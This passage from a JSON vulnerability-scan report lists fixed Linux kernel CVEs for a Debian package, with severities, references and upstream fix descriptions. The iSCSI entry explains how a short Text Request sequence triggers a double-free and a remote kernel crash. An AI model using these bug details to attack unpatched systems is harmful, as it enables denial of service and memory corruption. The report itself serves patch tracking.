"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63824", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63886", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63887", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64002", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64018", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64268", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64298", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64304", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64387", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64438", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64490", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68145", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68166", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68480", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72069", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72130", "https://errata.almalinux.org/9/ALSA-2026-63129.html", "https://errata.rockylinux.org/RLSA-2026:63129", "https://git.kernel.org/linus/bf33e01f88388c43e285492a63e539df6ffed64c%20%287.1-rc6%29", "https://git.kernel.org/stable/c/26e4a304b7e6f1338c675d527608d32549c091db", "https://git.kernel.org/stable/c/30bf335e8fe170322080ee001f05ca29c50680b3", "https://git.kernel.org/stable/c/4e9f0c4a645c995bc75c06c7b3644254ffb4c76b", "https://git.kernel.org/stable/c/594a40360012ce5f94c715d5e3b20fa3af7d525a", "https://git.kernel.org/stable/c/b19382dfc6e7dee6d3859ba44b6ca29e97a51627", "https://git.kernel.org/stable/c/bf33e01f88388c43e285492a63e539df6ffed64c", "https://git.kernel.org/stable/c/cb84e974fb172bc71386289f37b78ea679410b39", "https://git.kernel.org/stable/c/efe633e600a0ac68357206fede21b1ac8178f3b8", "https://linux.oracle.com/cve/CVE-2026-63887.html", "https://linux.oracle.com/errata/ELSA-2026-63129-0.html", "https://lore.kernel.org/linux-cve-announce/2026071940-CVE-2026-63887-cf4b@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-63887", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8817-1", "https://ubuntu.com/security/notices/USN-8817-2", "https://ubuntu.com/security/notices/USN-8817-3", "https://ubuntu.com/security/notices/USN-8818-1", "https://ubuntu.com/security/notices/USN-8818-2", "https://ubuntu.com/security/notices/USN-8818-3", "https://ubuntu.com/security/notices/USN-8818-4", "https://ubuntu.com/security/notices/USN-8818-5", "https://ubuntu.com/security/notices/USN-8818-6", "https://ubuntu.com/security/notices/USN-8842-1", "https://ubuntu.com/security/notices/USN-8849-1", "https://ubuntu.com/security/notices/USN-8871-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8906-1", "https://www.cve.org/CVERecord?id=CVE-2026-63887" ], "PublishedDate": "2026-07-19T16:17:05.853Z", "LastModifiedDate": "2026-10-22T14:33:17.54Z" }, { "VulnerabilityID": "CVE-2026-63888", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.94-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-63888", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:57b1d436d3007d0000961eae73fa70a5f8a51146dbde3cd62c380e025ca8b06b", "Title": "kernel: scsi: target: iscsi: Fix CRC overread and double-free in iscsit_handle_text_cmd()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nscsi: target: iscsi: Fix CRC overread and double-free in iscsit_handle_text_cmd()\n\nTwo latent bugs in the Text-phase handler, both present since the\noriginal LIO integration in commit e48354ce078c (\"iscsi-target: Add\niSCSI fabric support for target v4.1\"):\n\n1) DataDigest CRC buffer overread (4 bytes past text_in).\n\n text_in is kzalloc()'d at ALIGN(payload_length, 4). rx_size is then\n incremented by ISCSI_CRC_LEN to make room for the received DataDigest\n in the iovec, but the same (now-bumped) rx_size is passed as the\n buffer length to iscsit_crc_buf():\n\n if (conn-\u003econn_ops-\u003eDataDigest) {\n ...\n rx_size += ISCSI_CRC_LEN;\n }\n ...\n if (conn-\u003econn_ops-\u003eDataDigest) {\n data_crc = iscsit_crc_buf(text_in, rx_size, 0, NULL);\n\n iscsit_crc_buf() walks rx_size bytes of text_in with crc32c(), so\n when DataDigest is negotiated it reads 4 bytes past the end of the\n text_in allocation. KASAN reproduces this directly on the unpatched\n mainline tree as slab-out-of-bounds in crc32c() called from the Text\n PDU path. The OOB bytes feed crc32c() and are then compared against\n the initiator-supplied checksum, so the value does not flow back to\n the attacker, but the kernel does read past the buffer on every Text\n PDU with DataDigest=CRC32C.\n\n Fix by passing the actual padded payload length\n (ALIGN(payload_length, 4)) that was used for the kzalloc().\n\n2) Stale cmd-\u003etext_in_ptr re-free (double-free) on ERL\u003e0 bad DataDigest\n drop.\n\n On DataDigest mismatch with ErrorRecoveryLevel \u003e 0 the handler\n silently drops the PDU and lets the initiator plug the CmdSN gap:\n\n kfree(text_in);\n return 0;\n\n cmd-\u003etext_in_ptr still points at the freed buffer. The next Text\n Request on the same ITT re-enters iscsit_setup_text_cmd(), which\n unconditionally does\n\n kfree(cmd-\u003etext_in_ptr);\n cmd-\u003etext_in_ptr = NULL;\n\n freeing the same pointer a second time. Session teardown via\n iscsit_release_cmd() has the same shape and hits the same double-free\n if the connection is dropped before a second Text Request arrives.\n\n On an unmodified mainline tree the bug-1 CRC overread fires first on\n the initial valid Text Request and perturbs the subsequent state, so\n #4 was isolated by building a kernel with only the bug-1 hunk of this\n patch applied plus temporary printk() observability around the three\n relevant kfree() sites. The observability prints are not part of\n this patch. On that build, a three-PDU Text Request sequence after\n login produces two back-to-back splats:\n\n BUG: KASAN: double-free in iscsit_setup_text_cmd+0x??\n BUG: KASAN: double-free in iscsit_release_cmd+0x??\n\n showing the same pointer freed in the ERL\u003e0 drop path and again in\n iscsit_setup_text_cmd() (next Text Request on the same ITT) and once\n more in iscsit_release_cmd() (session teardown). On distro kernels\n with CONFIG_SLAB_FREELIST_HARDENED=y (default) the double-free\n becomes a remote kernel BUG(); on non-hardened kernels it corrupts\n the slab freelist.\n\n Fix by clearing cmd-\u003etext_in_ptr after the kfree() in the ERL\u003e0 drop\n path. With both hunks applied #4 is directly observable on the stock\n tree without observability printks; fixing bug-1 alone would mask #4\n less, not more, so the hunks are submitted together.\n\nBoth fixes are one-liners. The Text PDU state machine is unchanged and\nthe wire protocol is unaffected.", "Severity": "HIGH", "CweIDs": [ "CWE-415" ], "VendorSeverity": { "alma": 3, "amazon": 3, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 4 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:57252", "https://access.redhat.com/security/cve/CVE-2026-63888", "https://bugzilla.redhat.com/2467135", "https://bugzilla.redhat.com/2467156", "https://bugzilla.redhat.com/2467202", "https://bugzilla.redhat.com/2482113", "https://bugzilla.redhat.com/2482124", "https://bugzilla.redhat.com/2482614", "https://bugzilla.redhat.com/2492403", "https://bugzilla.redhat.com/2492719", "https://bugzilla.redhat.com/2492768", "https://bugzilla.redhat.com/2492788", "https://bugzilla.redhat.com/2495941", "https://bugzilla.redhat.com/2495950", "https://bugzilla.redhat.com/2502188", "https://bugzilla.redhat.com/2502321", "https://bugzilla.redhat.com/2502361", "https://bugzilla.redhat.com/2502422", "https://bugzilla.redhat.com/2502443", "https://bugzilla.redhat.com/2502463", "https://bugzilla.redhat.com/2502589", "https://bugzilla.redhat.com/2506790", "https://bugzilla.redhat.com/2507042", "https://bugzilla.redhat.com/2507135", "https://bugzilla.redhat.com/2507216", "https://bugzilla.redhat.com/2508504", "https://bugzilla.redhat.com/2513373", "https://bugzilla.redhat.com/2513470", "https://bugzilla.redhat.com/show_bug.cgi?id=2467135", "https://bugzilla.redhat.com/show_bug.cgi?id=2467156", "https://bugzilla.redhat.com/show_bug.cgi?id=2467202", "https://bugzilla.redhat.com/show_bug.cgi?id=2482113", "https://bugzilla.redhat.com/show_bug.cgi?id=2482124", "https://bugzilla.redhat.com/show_bug.cgi?id=2482614", "https://bugzilla.redhat.com/show_bug.cgi?id=2492403", "https://bugzilla.redhat.com/show_bug.cgi?id=2492719", "https://bugzilla.redhat.com/show_bug.cgi?id=2492768", "https://bugzilla.redhat.com/show_bug.cgi?id=2492788", "https://bugzilla.redhat.com/show_bug.cgi?id=2495941", "https://bugzilla.redhat.com/show_bug.cgi?id=2495950", "https://bugzilla.redhat.com/show_bug.cgi?id=2502188", "https://bugzilla.redhat.com/show_bug.cgi?id=2502321", "https://bugzilla.redhat.com/show_bug.cgi?id=2502361", "https://bugzilla.redhat.com/show_bug.cgi?id=2502422", "https://bugzilla.redhat.com/show_bug.cgi?id=2502443", "https://bugzilla.redhat.com/show_bug.cgi?id=2502463", "https://bugzilla.redhat.com/show_bug.cgi?id=2502589", "https://bugzilla.redhat.com/show_bug.cgi?id=2506790", "https://bugzilla.redhat.com/show_bug.cgi?id=2507042", "https://bugzilla.redhat.com/show_bug.cgi?id=2507135", "https://bugzilla.redhat.com/show_bug.cgi?id=2507216", "https://bugzilla.redhat.com/show_bug.cgi?id=2508504", "https://bugzilla.redhat.com/show_bug.cgi?id=2513373", "https://bugzilla.redhat.com/show_bug.cgi?id=2513470", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43206", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43233", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43237", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45878", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45991", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46120", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52991", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53136", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53143", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53189", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53329", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53356", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53374", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63879", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63884", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63888", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63952", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64007", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64048", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64219", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64379", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64382", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64386", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64560", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68343", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68388", "https://errata.almalinux.org/9/ALSA-2026-57252.html", "https://errata.rockylinux.org/RLSA-2026:57252", "https://git.kernel.org/linus/778c2ab142c625a8a8afa570e0f9b7873f445d99%20%287.1-rc6%29", "https://git.kernel.org/stable/c/5118ea225fe63b44207ba88047e4866e1ea43812", "https://git.kernel.org/stable/c/6e22a1cdcc8277af4acc43710577157b77a02c5d", "https://git.kernel.org/stable/c/778c2ab142c625a8a8afa570e0f9b7873f445d99", "https://git.kernel.org/stable/c/89c81d1228c00fa6dd91de6c1c5aa1ef8a7875e3", "https://git.kernel.org/stable/c/badf178b76b0690851df00f4ca9cf2eb8eb0f963", "https://git.kernel.org/stable/c/d3e9b79aa794f7a23e82de4d710e7d2df610e349", "https://git.kernel.org/stable/c/ec9f19d52074a191ed1756ed4a7d39fff1a2085c", "https://git.kernel.org/stable/c/f7948af0dd03de84079dcd4dc215a69fd6fbb95d", "https://linux.oracle.com/cve/CVE-2026-63888.html", "https://linux.oracle.com/errata/ELSA-2026-57253.html", "https://lore.kernel.org/linux-cve-announce/2026071940-CVE-2026-63888-a5d6@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-63888", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8817-1", "https://ubuntu.com/security/notices/USN-8817-2", "https://ubuntu.com/security/notices/USN-8817-3", "https://ubuntu.com/security/notices/USN-8818-1", "https://ubuntu.com/security/notices/USN-8818-2", "https://ubuntu.com/security/notices/USN-8818-3", "https://ubuntu.com/security/notices/USN-8818-4", "https://ubuntu.com/security/notices/USN-8818-5", "https://ubuntu.com/security/notices/USN-8818-6", "https://ubuntu.com/security/notices/USN-8842-1", "https://ubuntu.com/security/notices/USN-8849-1", "https://ubuntu.com/security/notices/USN-8871-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8906-1", "https://www.cve.org/CVERecord?id=CVE-2026-63888" ], "PublishedDate": "2026-07-19T16:17:05.997Z", "LastModifiedDate": "2026-10-26T20:17:53.59Z" }, { "VulnerabilityID": "CVE-2026-63898", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.94-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-63898", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:9a88c16b54f03fbdb7bec60410290a09c790300efe0cd804f11b09c9cc395291", "Title": "kernel: USB: serial: mct_u232: fix memory corruption with small endpoint", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nUSB: serial: mct_u232: fix memory corruption with small endpoint\n\nThe driver overrides the maximum transfer size for a specific device\nwhich only accepts 16 byte packets for its 32 byte bulk-out endpoint.\n\nMake sure to never increase the maximum transfer size to prevent slab\ncorruption should a malicious device report a smaller endpoint max\npacket size than expected.", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 3 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-63898", "https://git.kernel.org/linus/915b36d701950503c4ea0f6e314b10868e59fce3%20%287.1-rc6%29", "https://git.kernel.org/stable/c/39e295a91e80f3b91f61c7ada2bde434dcaba20d", "https://git.kernel.org/stable/c/57f332af1745014cd7e40414814ffaa6bc7d3b5b", "https://git.kernel.org/stable/c/6cb48f8890f9b2051d7c34823057296a536a31c5", "https://git.kernel.org/stable/c/90dbad14b109e5fdfb4934ff61e561d11ba3742d", "https://git.kernel.org/stable/c/915b36d701950503c4ea0f6e314b10868e59fce3", "https://git.kernel.org/stable/c/94edbbc5fe00d03cfe1d4e690d7d2cd36317a935", "https://git.kernel.org/stable/c/bd2ddb3fe9052ad8703593bbec26ecc7ca92869e", "https://git.kernel.org/stable/c/d8fdf33d6fcfb90cbec26299baf2352c84b2d768", "https://linux.oracle.com/cve/CVE-2026-63898.html", "https://linux.oracle.com/errata/ELSA-2026-500248.html", "https://lore.kernel.org/linux-cve-announce/2026071943-CVE-2026-63898-d22a@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-63898", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8903-1", "https://ubuntu.com/security/notices/USN-8903-2", "https://ubuntu.com/security/notices/USN-8904-1", "https://ubuntu.com/security/notices/USN-8905-1", "https://ubuntu.com/security/notices/USN-8905-2", "https://ubuntu.com/security/notices/USN-8906-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-63898" ], "PublishedDate": "2026-07-19T16:17:07.37Z", "LastModifiedDate": "2026-10-30T14:38:34.63Z" }, { "VulnerabilityID": "CVE-2026-63899", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.94-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-63899", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:cf46ba96e543822681b475bdd4dcaa62586f3943a5e69c4719ce57b002a2ecad", "Title": "kernel: USB: serial: mxuport: fix memory corruption with small endpoint", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nUSB: serial: mxuport: fix memory corruption with small endpoint\n\nMake sure that the bulk-out endpoint max packet size is at least eight\nbytes to avoid user-controlled slab corruption should a malicious device\nreport a smaller size.", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "alma": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:86033", "https://access.redhat.com/security/cve/CVE-2026-63899", "https://bugzilla.redhat.com/2461761", "https://bugzilla.redhat.com/2492098", "https://bugzilla.redhat.com/2502325", "https://bugzilla.redhat.com/2502332", "https://bugzilla.redhat.com/2502333", "https://bugzilla.redhat.com/2502356", "https://bugzilla.redhat.com/2502462", "https://bugzilla.redhat.com/2502486", "https://bugzilla.redhat.com/2511413", "https://bugzilla.redhat.com/2516967", "https://bugzilla.redhat.com/2532230", "https://bugzilla.redhat.com/2540391", "https://bugzilla.redhat.com/2540872", "https://bugzilla.redhat.com/2546491", "https://bugzilla.redhat.com/2553429", "https://bugzilla.redhat.com/show_bug.cgi?id=2461761", "https://bugzilla.redhat.com/show_bug.cgi?id=2492098", "https://bugzilla.redhat.com/show_bug.cgi?id=2502325", "https://bugzilla.redhat.com/show_bug.cgi?id=2502332", "https://bugzilla.redhat.com/show_bug.cgi?id=2502333", "https://bugzilla.redhat.com/show_bug.cgi?id=2502356", "https://bugzilla.redhat.com/show_bug.cgi?id=2502377", "https://bugzilla.redhat.com/show_bug.cgi?id=2502462", "https://bugzilla.redhat.com/show_bug.cgi?id=2502486", "https://bugzilla.redhat.com/show_bug.cgi?id=2511413", "https://bugzilla.redhat.com/show_bug.cgi?id=2516967", "https://bugzilla.redhat.com/show_bug.cgi?id=2525413", "https://bugzilla.redhat.com/show_bug.cgi?id=2532230", "https://bugzilla.redhat.com/show_bug.cgi?id=2540391", "https://bugzilla.redhat.com/show_bug.cgi?id=2546491", "https://bugzilla.redhat.com/show_bug.cgi?id=2553429", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31678", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52935", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63899", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63956", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63962", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63974", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64024", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64032", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64114", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64572", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74509", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80590", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89633", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93817", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98260", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-99999", "https://errata.almalinux.org/9/ALSA-2026-86033.html", "https://errata.rockylinux.org/RLSA-2026:86033", "https://git.kernel.org/linus/4085f0dbb1ce2251c9a5938d693de6593f0ab2bd%20%287.1-rc6%29", "https://git.kernel.org/stable/c/086b858b5f5125bc9d967ea2bd825f83d9f8f29d", "https://git.kernel.org/stable/c/2f3661eb2446e1ef593da45e01a3b21a906768ec", "https://git.kernel.org/stable/c/4085f0dbb1ce2251c9a5938d693de6593f0ab2bd", "https://git.kernel.org/stable/c/6c0cf56f00f280d72180bb6ce79741bc787a6269", "https://git.kernel.org/stable/c/b40166b4ef96067620a0f248e74ad9658c8f680c", "https://git.kernel.org/stable/c/be3a1ed4ae51fa8dde57383277d336ce834f2cd9", "https://git.kernel.org/stable/c/ccbec56f2f9af008f1574335cc6a668f16603e47", "https://git.kernel.org/stable/c/e906545641d34fb1a09a65b4b5cfdff40eb09681", "https://linux.oracle.com/cve/CVE-2026-63899.html", "https://linux.oracle.com/errata/ELSA-2026-86033.html", "https://lore.kernel.org/linux-cve-announce/2026071943-CVE-2026-63899-cd10@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-63899", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8903-1", "https://ubuntu.com/security/notices/USN-8903-2", "https://ubuntu.com/security/notices/USN-8904-1", "https://ubuntu.com/security/notices/USN-8905-1", "https://ubuntu.com/security/notices/USN-8905-2", "https://ubuntu.com/security/notices/USN-8906-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-63899" ], "PublishedDate": "2026-07-19T16:17:07.497Z", "LastModifiedDate": "2026-10-30T14:38:26.447Z" }, { "VulnerabilityID": "CVE-2026-63901", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.94-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-63901", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:f0f8966bbb96f76658decc07cc86b1a31406aa0cb22e5b825ae30006f55f6079", "Title": "kernel: USB: serial: digi_acceleport: fix memory corruption with small endpoints", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nUSB: serial: digi_acceleport: fix memory corruption with small endpoints\n\nAdd the missing bulk-out buffer size sanity checks to avoid\nout-of-bounds memory accesses or slab corruption should a malicious\ndevice report smaller buffers than expected.", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 3 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-63901", "https://git.kernel.org/linus/cb3560e8eab1dfa1cac1ed52631adf8ec6ff2cd5%20%287.1-rc6%29", "https://git.kernel.org/stable/c/062dcc0b324afd03b1406f157190804f105718bb", "https://git.kernel.org/stable/c/25b93d0f229a115ab120106f37b9454170d4cfd4", "https://git.kernel.org/stable/c/41b645e791099f0038225da5e2ca3ca31f00d435", "https://git.kernel.org/stable/c/6ab1e9ae099577a1019312088309ecbad2da9a91", "https://git.kernel.org/stable/c/8a65db5edd7b63365e9c5b7d9f4b8f314696dc49", "https://git.kernel.org/stable/c/9469419b12a100e7e2ccdda64ab45b8368456c8a", "https://git.kernel.org/stable/c/cb3560e8eab1dfa1cac1ed52631adf8ec6ff2cd5", "https://git.kernel.org/stable/c/fd34198c2e5d164b57a7dcd4692626fece319225", "https://linux.oracle.com/cve/CVE-2026-63901.html", "https://linux.oracle.com/errata/ELSA-2026-500248.html", "https://lore.kernel.org/linux-cve-announce/2026071943-CVE-2026-63901-f99b@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-63901", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8903-1", "https://ubuntu.com/security/notices/USN-8903-2", "https://ubuntu.com/security/notices/USN-8904-1", "https://ubuntu.com/security/notices/USN-8905-1", "https://ubuntu.com/security/notices/USN-8905-2", "https://ubuntu.com/security/notices/USN-8906-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9002-1", 